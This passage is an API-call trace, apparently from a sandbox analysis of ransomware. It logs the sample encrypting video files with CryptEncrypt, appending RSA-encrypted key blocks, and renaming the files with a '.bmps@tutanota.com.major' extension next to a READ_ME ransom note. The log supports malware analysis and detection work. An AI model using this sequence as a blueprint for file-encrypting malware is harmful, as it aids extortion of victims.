hFile=0x7bc, lpBuffer=0x663d00*, nNumberOfBytesToWrite=0xac1e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x663d00*, lpNumberOfBytesWritten=0x2e3f9b4*=0xac1e, lpOverlapped=0x0) returned 1 [0170.028] SetFilePointer (in: hFile=0x7bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xac1e [0170.029] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.029] WriteFile (in: hFile=0x7bc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.029] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0170.029] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0170.029] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0170.029] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="5LqNj/sEC6/N9sjWEoyHtisSKgNYye6j0lbdpqONkWChdA6RoCdii3NRjOZ2XhTy\nOQjJv7xLKdIOo22qWd5nnMYlVCXlHLAOEzGGhPbVaj2biLuGE5WozVy9wim6g3up\nJchX2Xx5dIYYg9bZJBHkioqN/l4/OkZ2csy1NuWdI7/eWpEgj/EW42jUSJyl8UqD\nFz5c9HE3iFusWqFsgAlaREda9pjie/RPkA4UK8hWwQzHvmWgQ+wO/haHQ8ninLGy\nkslWIR5CwiGVm+9YJKhePeoY8v9yeO8BbpUSIuBaA2Cwpt0paBENtZJzDU2p3+eK\nSh/sKCWXQqSecZ2yhBDEUg==\n", pcchString=0x2e3f9a8) returned 1 [0170.029] WriteFile (in: hFile=0x7bc, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0170.029] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.029] WriteFile (in: hFile=0x7bc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.029] CloseHandle (hObject=0x7bc) returned 1 [0170.029] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\R3eG_Mm3 6jiK2_eNq\\WggCH.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\r3eg_mm3 6jik2_enq\\wggch.mp4"), lpNewFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\R3eG_Mm3 6jiK2_eNq\\WggCH.mp4.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\r3eg_mm3 6jik2_enq\\wggch.mp4.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0170.035] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0170.035] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\R3eG_Mm3 6jiK2_eNq\\ltkcwr_5j21.mp4", dwFileAttributes=0x80) returned 1 [0170.035] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\R3eG_Mm3 6jiK2_eNq\\ltkcwr_5j21.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\r3eg_mm3 6jik2_enq\\ltkcwr_5j21.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7bc [0170.036] GetFileSizeEx (in: hFile=0x7bc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=25792) returned 1 [0170.036] ReadFile (in: hFile=0x7bc, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x64c0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x64c0, lpOverlapped=0x0) returned 1 [0170.037] SetFilePointer (in: hFile=0x7bc, lDistanceToMove=-25792, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.037] WriteFile (in: hFile=0x7bc, lpBuffer=0x65f5a0*, nNumberOfBytesToWrite=0x64c0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65f5a0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x64c0, lpOverlapped=0x0) returned 1 [0170.037] SetFilePointer (in: hFile=0x7bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x64c0 [0170.037] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.037] WriteFile (in: hFile=0x7bc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.037] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0170.037] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0170.038] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0170.038] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="FAlKGQt7jUgZ+OyXXB++kj1E/a4zVe991KRjU3omh39PHNThV4fWKzL0dL0lLulB\n0aFZFRV/RkGgeslN4a3SFbz+ftyVpdYqETYV2yKm7uaodAngIkzxRsvMmVHd3KJ1\n7ek0e6MG6W4OcxB7aJAcMpwBIfMjR3bbYrHHe/E/TvcMyr7P45IHxBUVC0aXSmrf\nXGioQb9rMVeH674zcYMEiRFcGQZIIv91lUOa0zj5eOxF532+dFsDRA6RdBc5hFz0\nU5tX0pDhqPd3/THDPNB18SDm0DlJEacVWiQbWGeZD9rbLXRYAo03zjO7ezDumqMx\n6ZTGE5ofvAtX7VaOJo1QOQ==\n", pcchString=0x2e3f9a8) returned 1 [0170.038] WriteFile (in: hFile=0x7bc, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0170.038] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.038] WriteFile (in: hFile=0x7bc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.038] CloseHandle (hObject=0x7bc) returned 1 [0170.038] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\R3eG_Mm3 6jiK2_eNq\\ltkcwr_5j21.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\r3eg_mm3 6jik2_enq\\ltkcwr_5j21.mp4"), lpNewFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\R3eG_Mm3 6jiK2_eNq\\ltkcwr_5j21.mp4.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\r3eg_mm3 6jik2_enq\\ltkcwr_5j21.mp4.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0170.040] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0170.040] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\R3eG_Mm3 6jiK2_eNq\\HHhSNaH3XjpRompl-.flv", dwFileAttributes=0x80) returned 1 [0170.040] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\R3eG_Mm3 6jiK2_eNq\\HHhSNaH3XjpRompl-.flv" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\r3eg_mm3 6jik2_enq\\hhhsnah3xjprompl-.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7bc [0170.041] GetFileSizeEx (in: hFile=0x7bc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16410) returned 1 [0170.041] ReadFile (in: hFile=0x7bc, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x401a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x401a, lpOverlapped=0x0) returned 1 [0170.041] SetFilePointer (in: hFile=0x7bc, lDistanceToMove=-16410, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.042] WriteFile (in: hFile=0x7bc, lpBuffer=0x65d100*, nNumberOfBytesToWrite=0x401a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65d100*, lpNumberOfBytesWritten=0x2e3f9b4*=0x401a, lpOverlapped=0x0) returned 1 [0170.042] SetFilePointer (in: hFile=0x7bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x401a [0170.042] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.042] WriteFile (in: hFile=0x7bc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.042] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0170.042] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0170.042] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0170.042] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="co2Ef1baSZDgpCTiInZt6DYJRAwz5uD4aGiElK0eKQcru/HJh7TKZ6lsvihvDGM4\nxpX/bFYEDhCIDnyIFrL+NNhIDDD77c88yGE+mM7CsVtdRnx3vmP5nhBFmPOvWM5l\nKWGxzHM060H6D+ritwPPwMfRtySry8SCvVPvqNpv4k11Skf1h0sB69rpgsnG6V3A\nf/BXZFVHlHYh/h1poFpdBSj2iwJH5CHnO0/vqVJ5Y5xabAACrndK9HZD5CG7ZNpt\nT3bJ+NgNmnAgL2wpFllRvkeJ5pyqyeV6c8Dp7IpOkOw62/MDfV4+jvsjK96qbSQK\n/QV1cSZiuXBGUBryl6i6Ow==\n", pcchString=0x2e3f9a8) returned 1 [0170.042] WriteFile (in: hFile=0x7bc, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0170.042] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.043] WriteFile (in: hFile=0x7bc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.043] CloseHandle (hObject=0x7bc) returned 1 [0170.043] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\R3eG_Mm3 6jiK2_eNq\\HHhSNaH3XjpRompl-.flv" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\r3eg_mm3 6jik2_enq\\hhhsnah3xjprompl-.flv"), lpNewFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\R3eG_Mm3 6jiK2_eNq\\HHhSNaH3XjpRompl-.flv.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\r3eg_mm3 6jik2_enq\\hhhsnah3xjprompl-.flv.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0170.045] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0170.045] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\R3eG_Mm3 6jiK2_eNq\\GNhsyfm__P9y-F.mp4", dwFileAttributes=0x80) returned 1 [0170.045] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\R3eG_Mm3 6jiK2_eNq\\GNhsyfm__P9y-F.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\r3eg_mm3 6jik2_enq\\gnhsyfm__p9y-f.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7bc [0170.045] GetFileSizeEx (in: hFile=0x7bc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=83989) returned 1 [0170.045] ReadFile (in: hFile=0x7bc, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x14815, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x14815, lpOverlapped=0x0) returned 1 [0170.046] SetFilePointer (in: hFile=0x7bc, lDistanceToMove=-83989, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.046] WriteFile (in: hFile=0x7bc, lpBuffer=0x2ea0f38*, nNumberOfBytesToWrite=0x14815, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0f38*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14815, lpOverlapped=0x0) returned 1 [0170.047] SetFilePointer (in: hFile=0x7bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x14815 [0170.047] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.047] WriteFile (in: hFile=0x7bc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.047] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0170.047] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0170.047] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0170.047] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="HwB7Hdd8F/A1E3vXyW77PvXes0U8BbyUuBSW29u7WJMjw4xCbRxfBzsiK12RAc5p\nxeW2+LMvu1N7ka0gakBSy2kE2sf93OYhQ5IwONv03T8bsv3/4F9NNwEGkGMuFXjg\n3hIWam5GbBnhMiJS8EYHHz4IwJq5BNyP6x+CFMlY8MsGVGTUKCBZ2oiF6QSeWYQA\nLYFwT2Iw+6zqERz3CCiAv77uOIgbNRbD41tJxeF/fIMwl0ojxwhoTVJqPw6sNeft\n9rWGdMwyyhTBytCdadF2S1+WC6ofNRumr3FWjzxJrVUygDV7NoaVQWsUvU7DWdf/\nODsCM+mV/O9XEBvdXMJDLg==\n", pcchString=0x2e3f9a8) returned 1 [0170.047] WriteFile (in: hFile=0x7bc, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0170.048] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.048] WriteFile (in: hFile=0x7bc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.048] CloseHandle (hObject=0x7bc) returned 1 [0170.048] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\R3eG_Mm3 6jiK2_eNq\\GNhsyfm__P9y-F.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\r3eg_mm3 6jik2_enq\\gnhsyfm__p9y-f.mp4"), lpNewFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\R3eG_Mm3 6jiK2_eNq\\GNhsyfm__P9y-F.mp4.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\r3eg_mm3 6jik2_enq\\gnhsyfm__p9y-f.mp4.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0170.049] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\VEV_ mHUHdjk8n7UGN\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6cfbed0, ftCreationTime.dwHighDateTime=0x1d4d1de, ftLastAccessTime.dwLowDateTime=0x4c419c40, ftLastAccessTime.dwHighDateTime=0x1d4d3fa, ftLastWriteTime.dwLowDateTime=0x1ca1c32d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6540a0 [0170.049] SetLastError (dwErrCode=0x0) [0170.049] GetLastError () returned 0x0 [0170.049] SetLastError (dwErrCode=0x0) [0170.049] GetLastError () returned 0x0 [0170.049] SetLastError (dwErrCode=0x0) [0170.049] FindNextFileW (in: hFindFile=0x6540a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6cfbed0, ftCreationTime.dwHighDateTime=0x1d4d1de, ftLastAccessTime.dwLowDateTime=0x4c419c40, ftLastAccessTime.dwHighDateTime=0x1d4d3fa, ftLastWriteTime.dwLowDateTime=0x1ca1c32d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0170.050] SetLastError (dwErrCode=0x0) [0170.050] GetLastError () returned 0x0 [0170.050] SetLastError (dwErrCode=0x0) [0170.050] GetLastError () returned 0x0 [0170.050] SetLastError (dwErrCode=0x0) [0170.050] FindNextFileW (in: hFindFile=0x6540a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ca1c32d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1ca1c32d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1ca1c32d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0170.050] SetLastError (dwErrCode=0x0) [0170.050] GetLastError () returned 0x0 [0170.050] SetLastError (dwErrCode=0x0) [0170.050] GetLastError () returned 0x0 [0170.050] SetLastError (dwErrCode=0x0) [0170.050] FindNextFileW (in: hFindFile=0x6540a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x488a2bc0, ftCreationTime.dwHighDateTime=0x1d4d248, ftLastAccessTime.dwLowDateTime=0x96c69830, ftLastAccessTime.dwHighDateTime=0x1d4c7e6, ftLastWriteTime.dwLowDateTime=0x96c69830, ftLastWriteTime.dwHighDateTime=0x1d4c7e6, nFileSizeHigh=0x0, nFileSizeLow=0xc984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ShGqShfqOk.mp4", cAlternateFileName="SHGQSH~1.MP4")) returned 1 [0170.050] SetLastError (dwErrCode=0x0) [0170.050] GetLastError () returned 0x0 [0170.050] SetLastError (dwErrCode=0x0) [0170.050] GetLastError () returned 0x0 [0170.050] SetLastError (dwErrCode=0x0) [0170.050] FindNextFileW (in: hFindFile=0x6540a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31ba1070, ftCreationTime.dwHighDateTime=0x1d4c7e6, ftLastAccessTime.dwLowDateTime=0xef2062e0, ftLastAccessTime.dwHighDateTime=0x1d4ced5, ftLastWriteTime.dwLowDateTime=0xef2062e0, ftLastWriteTime.dwHighDateTime=0x1d4ced5, nFileSizeHigh=0x0, nFileSizeLow=0xf548, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="wflAY.mkv", cAlternateFileName="")) returned 1 [0170.050] SetLastError (dwErrCode=0x0) [0170.050] GetLastError () returned 0x0 [0170.050] SetLastError (dwErrCode=0x0) [0170.050] GetLastError () returned 0x0 [0170.050] SetLastError (dwErrCode=0x0) [0170.050] FindNextFileW (in: hFindFile=0x6540a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31ba1070, ftCreationTime.dwHighDateTime=0x1d4c7e6, ftLastAccessTime.dwLowDateTime=0xef2062e0, ftLastAccessTime.dwHighDateTime=0x1d4ced5, ftLastWriteTime.dwLowDateTime=0xef2062e0, ftLastWriteTime.dwHighDateTime=0x1d4ced5, nFileSizeHigh=0x0, nFileSizeLow=0xf548, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="wflAY.mkv", cAlternateFileName="")) returned 0 [0170.050] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0170.050] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\VEV_ mHUHdjk8n7UGN\\wflAY.mkv", dwFileAttributes=0x80) returned 1 [0170.051] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\VEV_ mHUHdjk8n7UGN\\wflAY.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\vev_ mhuhdjk8n7ugn\\wflay.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c0 [0170.051] GetFileSizeEx (in: hFile=0x7c0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=62792) returned 1 [0170.051] ReadFile (in: hFile=0x7c0, lpBuffer=0x6590d8, nNumberOfBytesToRead=0xf548, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0xf548, lpOverlapped=0x0) returned 1 [0170.053] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=-62792, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.053] WriteFile (in: hFile=0x7c0, lpBuffer=0x2ea0f38*, nNumberOfBytesToWrite=0xf548, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0f38*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf548, lpOverlapped=0x0) returned 1 [0170.053] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf548 [0170.053] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.053] WriteFile (in: hFile=0x7c0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.053] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0170.053] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0170.054] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0170.054] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Eb/QzNi0TWvaaB/JEehBman98YnGqD5vuiUrZXqcqfhqsronTnN39TBDSNcqb5Cr\n349LFWvHSG73YV6kbxVRrN8bei57YRuntl7gQsfuzkiQa80GTVoH7ZczkLh4OTbr\n9lbGcSIy1K/meYKxJvsMp1f1kPehHs6gL5bKMdMD7bLn0dzylxqraJxWsAJ29wr6\nGpR4w4HXjWrcJr82hfKg6pbyZhxh94ojBgGcsAjvmMMLmCnPsIfEtFtRV5wh6yS/\nhYBSxX91roKcmPZPhr3cm/62z3NXR2CB/ltv65qXHwYeopvFFNQhPgOb0Te9dhXv\n5tJOoxfOgnVQPYwJoZfRbQ==\n", pcchString=0x2e3f9a8) returned 